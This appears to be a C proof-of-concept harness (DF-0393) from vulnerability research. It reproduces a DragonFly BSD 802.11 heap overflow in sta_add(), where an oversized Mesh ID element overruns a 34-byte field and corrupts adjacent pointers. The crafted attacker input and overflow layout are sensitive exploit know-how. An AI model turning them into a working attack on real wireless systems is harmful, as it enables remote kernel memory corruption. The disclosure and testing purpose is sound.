DF-0393 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 | /* * DF-0393 โ Code-level harness for the Mesh ID heap overflow in * ieee80211_scan_sta.c:sta_add() * * WHY A HARNESS * This KVM guest has no WiFi radio (ifconfig -l shows only vtnet0/lo0; * no wlan vap, no ath/iwm/iwn kld). The runtime 802.11 RX path that reaches * sta_add() is therefore unreachable here, exactly like DF-0594 (TKIP RX * underflow) and DF-0616 (netmap RX overflow), which were both settled via a * faithful in-process harness. We follow that precedent: this harness embeds * the VERBATIM vulnerable memcpy from sta_add():312 against a byte-accurate * reconstruction of struct ieee80211_scan_entry, and demonstrates the OOB * write with a poisoned canary tail (ASAN-style). * * FAITHFULNESS * - struct ieee80211_scan_entry is reconstructed field-for-field from * sys/netproto/802_11/ieee80211_scan.h:260-285 (se_meshid[34] followed by * se_ies, then se_age). struct ieee80211_ies is reconstructed from * sys/netproto/802_11/ieee80211_node.h:75-89. * - IEEE80211_MESHID_LEN == 32 from sys/netproto/802_11/ieee80211.h:200. * - The vulnerable memcpy is copied VERBATIM from sta_add():310-312, * including the #ifdef IEEE80211_SUPPORT_MESH guard. * - The scan entry is allocated through a poisoned-tail allocator: a 256-byte * canary of 0xC3 is appended after se_age so any overflow past se_meshid[34] * is observable as corrupted canary bytes. * * BUILD * cc -O2 -Wall -o harness harness.c (no assertions / silent OOB) * cc -O2 -Wall -DINVARIANTS -o harness_inv harness.c (KASSERT-style assert) * * RUN * ./harness # default: meshid[1]=200, copies 202 into 34-byte field */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stddef.h> /* ---- Constants reproduced verbatim from sys/netproto/802_11/ieee80211.h:200 */ #define IEEE80211_MESHID_LEN 32 #define IEEE80211_ELEMID_MESHID 113 /* ---- struct ieee80211_ies reproduced from * sys/netproto/802_11/ieee80211_node.h:75-89 (x86_64 layout) */ struct ieee80211_ies { uint8_t *wpa_ie; uint8_t *rsn_ie; uint8_t *wme_ie; uint8_t *ath_ie; uint8_t *htcap_ie; uint8_t *htinfo_ie; uint8_t *tdma_ie; uint8_t *meshid_ie; uint8_t *spare[4]; uint8_t *data; int len; }; /* ---- struct ieee80211_scan_entry reproduced VERBATIM (field order & sizes) * from sys/netproto/802_11/ieee80211_scan.h:260-285. * * uint8_t se_macaddr[6]; * uint8_t se_bssid[6]; * uint8_t se_ssid[2+32]; // IEEE80211_NWID_LEN==32 * uint8_t se_rates[2+128]; // IEEE80211_RATE_MAXSIZE==128 (DragonFly) * uint8_t se_xrates[2+128]; * union { uint8_t data[8]; uint64_t tsf; } se_tstamp; * uint16_t se_intval; * uint16_t se_capinfo; * struct ieee80211_channel *se_chan; // ptr (8 bytes on x86_64) * uint16_t se_timoff; * uint16_t se_fhdwell; * uint8_t se_fhindex; * uint8_t se_dtimperiod; * uint16_t se_erp; * int8_t se_rssi; * int8_t se_noise; * uint8_t se_cc[2]; * uint8_t se_meshid[2+IEEE80211_MESHID_LEN]; // <-- the 34-byte dest * struct ieee80211_ies se_ies; // <-- IMMEDIATE overflow target * u_int se_age; * * We only need the TAIL of the struct (from se_meshid onward) to be * byte-accurate, because that is where the overflow lands. We allocate the * full struct faithfully so the offsets match the kernel exactly. */ #define IEEE80211_NWID_LEN 32 #define IEEE80211_RATE_MAXSIZE 128 #define IEEE80211_ADDR_LEN 6 struct ieee80211_scan_entry { uint8_t se_macaddr[IEEE80211_ADDR_LEN]; uint8_t se_bssid[IEEE80211_ADDR_LEN]; uint8_t se_ssid[2 + IEEE80211_NWID_LEN]; uint8_t se_rates[2 + IEEE80211_RATE_MAXSIZE]; uint8_t se_xrates[2 + IEEE80211_RATE_MAXSIZE]; union { uint8_t data[8]; uint64_t tsf; } se_tstamp; uint16_t se_intval; uint16_t se_capinfo; void *se_chan; /* struct ieee80211_channel * */ uint16_t se_timoff; uint16_t se_fhdwell; uint8_t se_fhindex; uint8_t se_dtimperiod; uint16_t se_erp; int8_t se_rssi; int8_t se_noise; uint8_t se_cc[2]; uint8_t se_meshid[2 + IEEE80211_MESHID_LEN]; /* 34 bytes โ the sink */ struct ieee80211_ies se_ies; /* overflow target #1 */ unsigned se_age; /* overflow target #2 */ }; /* ---- Poisoneed-tail allocator: the scan entry is followed by a canary * region so OOB writes are observable without kernel memory. */ #define CANARY_SIZE 256 #define CANARY_BYTE 0xC3 struct se_alloc { struct ieee80211_scan_entry se; uint8_t canary[CANARY_SIZE]; }; /* Offsets for reporting (compile-time-checked against the real header). */ #define OFF_MESHID offsetof(struct ieee80211_scan_entry, se_meshid) #define OFF_IES offsetof(struct ieee80211_scan_entry, se_ies) #define OFF_AGE offsetof(struct ieee80211_scan_entry, se_age) #define OFF_END sizeof(struct ieee80211_scan_entry) /* ---- The VERBATIM vulnerable snippet from * sys/netproto/802_11/wlan/ieee80211_scan_sta.c:310-312. * * #ifdef IEEE80211_SUPPORT_MESH * if (sp->meshid != NULL && sp->meshid[1] != 0) * memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]); * #endif * * We model `sp` as a struct holding just the meshid pointer (the only field * this snippet reads). The body is copied character-for-character. */ #define IEEE80211_SUPPORT_MESH 1 struct ieee80211_scanparams_min { uint8_t *meshid; }; static void sta_add_meshid_snippet(struct ieee80211_scan_entry *ise, const struct ieee80211_scanparams_min *sp) { /* ---- BEGIN verbatim from ieee80211_scan_sta.c:310-312 ---- */ #ifdef IEEE80211_SUPPORT_MESH if (sp->meshid != NULL && sp->meshid[1] != 0) memcpy(ise->se_meshid, sp->meshid, 2+sp->meshid[1]); #endif /* ---- END verbatim ---- */ } static void poison(struct se_alloc *a) { memset(a->canary, CANARY_BYTE, CANARY_SIZE); /* also poison se_ies pointers so corruption is obvious */ memset(&a->se.se_ies, 0xAA, sizeof(a->se.se_ies)); a->se.se_age = 0xAABBCCDD; } static int canary_corrupted(const struct se_alloc *a, int *first_bad_off) { for (int i = 0; i < CANARY_SIZE; i++) if (a->canary[i] != CANARY_BYTE) { *first_bad_off = i; return 1; } *first_bad_off = -1; return 0; } static void hexdump(const uint8_t *p, int n, const char *label) { printf(" %s (%d bytes):\n ", label, n); for (int i = 0; i < n; i++) { printf("%02x", p[i]); if ((i & 15) == 15) printf("\n "); else if ((i & 3) == 3) printf(" "); } printf("\n"); } int main(int argc, char **argv) { int meshid_len = 200; /* sp->meshid[1]; README uses 200 */ if (argc > 1) meshid_len = atoi(argv[1]); if (meshid_len < 1 || meshid_len > 255) { fprintf(stderr, "meshid_len must be 1..255\n"); return 2; } /* Build the attacker-crafted Mesh ID IE: [ELEMID=113][LEN][DATA...] */ uint8_t *ie = malloc(2 + meshid_len); ie[0] = IEEE80211_ELEMID_MESHID; ie[1] = (uint8_t)meshid_len; /* First 34 bytes benign-looking, rest is attacker pointer-shaped data */ memset(ie + 2, 'M', 34); for (int i = 34; i < meshid_len; i++) ie[2 + i] = (uint8_t)("AAAAAAAABBBBBBBB"[i % 16]); struct se_alloc *a = calloc(1, sizeof(*a)); poison(a); printf("=== DF-0393 harness: Mesh ID heap overflow in sta_add() ===\n"); printf("struct ieee80211_scan_entry size : %zu bytes\n", sizeof(struct ieee80211_scan_entry)); printf(" offsetof(se_meshid) : %zu\n", OFF_MESHID); printf(" offsetof(se_ies) : %zu (overflow lands here)\n", OFF_IES); printf(" offsetof(se_age) : %zu\n", OFF_AGE); printf(" sizeof(se_ies) : %zu\n", sizeof(struct ieee80211_ies)); printf("se_meshid field width : %zu bytes (2+IEEE80211_MESHID_LEN, LEN=%d)\n", sizeof(a->se.se_meshid), IEEE80211_MESHID_LEN); printf("Attacker Mesh ID IE length byte : %u (sp->meshid[1])\n", ie[1]); printf("memcpy copy size (2+meshid[1]) : %u bytes\n", 2 + ie[1]); printf("Overflow past se_meshid[34] : %d bytes\n", (int)(2 + ie[1]) - (int)sizeof(a->se.se_meshid)); printf("\n"); struct ieee80211_scanparams_min sp = { .meshid = ie }; #ifdef INVARIANTS printf("[INVARIANTS build] checking sp->meshid[1] <= IEEE80211_MESHID_LEN...\n"); /* Mirror the KASSERT pattern the sibling fields (se_ssid/se_rates/se_xrates) already have at ieee80211_scan_sta.c:285,290. The vulnerable meshid copy at :312 has NO such check. We assert here to show the panic-class trap that WOULD fire if the missing check existed. */ if (sp.meshid != NULL && sp.meshid[1] > IEEE80211_MESHID_LEN) { printf(" KASSERT FAIL: sp->meshid[1]=%u > IEEE80211_MESHID_LEN=%d\n", sp.meshid[1], IEEE80211_MESHID_LEN); printf(" => kernel would panic() here on an INVARIANTS kernel BEFORE the OOB write.\n"); printf(" => On a NO_INVARIANTS kernel the write proceeds silently (see ./harness).\n"); free(ie); free(a); return 99; /* stand-in for panic */ } #endif printf("[*] Invoking verbatim sta_add():312 memcpy...\n"); sta_add_meshid_snippet(&a->se, &sp); printf("[*] memcpy returned (no trap in userspace โ the OOB write is silent).\n\n"); /* Inspect the damage */ int copy_sz = 2 + ie[1]; int overflow = copy_sz - (int)sizeof(a->se.se_meshid); int overflow_into_ies = overflow > 0 ? (overflow < (int)sizeof(a->se.se_ies) ? overflow : (int)sizeof(a->se.se_ies)) : 0; printf("---- Corruption report ----\n"); hexdump(a->se.se_meshid, sizeof(a->se.se_meshid), "se_meshid[34] (full field)"); if (overflow > 0) { printf(" OVERFLOW detected: %d bytes wrote past end of se_meshid[34]\n", overflow); printf(" se_ies first %d bytes are now attacker-controlled:\n", overflow_into_ies); hexdump((uint8_t *)&a->se.se_ies, overflow_into_ies > 0 ? overflow_into_ies : 1, "se_ies (corrupted)"); printf(" se_ies.wpa_ie ptr = %p (was 0xAAAAAAAAAAAAAAAA)\n", (void *)a->se.se_ies.wpa_ie); printf(" se_ies.rsn_ie ptr = %p\n", (void *)a->se.se_ies.rsn_ie); printf(" se_ies.meshid_ie ptr = %p\n", (void *)a->se.se_ies.meshid_ie); printf(" se_age = 0x%08X (was 0xAABBCCDD)\n", a->se.se_age); } int first_bad = -1; if (canary_corrupted(a, &first_bad)) { printf("\n CANARY CORRUPTED at tail offset +%d (se_age+16+%d region)\n", first_bad, first_bad); printf(" => OOB write reached %d bytes beyond se_age (into adjacent heap)\n", first_bad + 1); } else if (overflow > 0) { printf("\n canary intact โ overflow was contained within se_ies+se_age (%d bytes)\n", overflow); } printf("\nVERDICT: "); if (overflow > 0) { printf("OOB WRITE CONFIRMED โ %d bytes past se_meshid[34] " "(%d into se_ies, rest into se_age/canary)\n", overflow, overflow_into_ies); free(ie); free(a); return 0; } else { printf("no overflow (meshid[1]=%u <= 32)\n", ie[1]); free(ie); free(a); return 1; } } |